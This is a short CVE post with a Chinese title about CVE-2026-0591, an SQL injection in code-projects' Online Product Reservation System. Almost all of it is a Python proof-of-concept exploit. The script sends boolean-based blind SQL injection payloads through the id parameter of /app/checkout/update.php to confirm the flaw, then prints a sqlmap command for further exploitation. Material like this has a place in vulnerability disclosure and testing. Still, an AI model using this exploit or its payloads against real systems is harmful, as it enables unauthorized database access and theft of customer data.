CVE-2026-0591 code-projects在线产品预订系统SQL注入漏洞

import requests import sys # CVE-2026-0591 PoC - SQL Injection in Online Product Reservation System # Target: /app/checkout/update.php # Vulnerable Parameters: id, qty def exploit_sqli(target_url, payload): """Exploit SQL injection vulnerability""" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Vulnerable request with SQL injection payload data = { 'id': payload, 'qty': '1' } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def main(): if len(sys.argv) < 2: print("Usage: python cve-2026-0591.py <target_url>") print("Example: python cve-2026-0591.py http://target.com/app/checkout/update.php") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2026-0591 on {target}") # Test payload - Boolean based blind SQL injection # Original value: id=1, Modified: id=1' AND 1=1 -- true_payload = "1' AND 1=1 --" false_payload = "1' AND 1=2 --" print(f"[*] Sending true payload: {true_payload}") true_resp = exploit_sqli(target, true_payload) print(f"[*] Sending false payload: {false_payload}") false_resp = exploit_sqli(target, false_payload) # If responses differ, vulnerability is confirmed if true_resp != false_resp: print("[+] SQL Injection vulnerability confirmed!") print("[+] Use sqlmap for further exploitation:") print(f" sqlmap -u '{target}' --data='id=1&qty=1' -p id --batch") else: print("[-] Vulnerability not detected or target is not vulnerable") if __name__ == "__main__": main()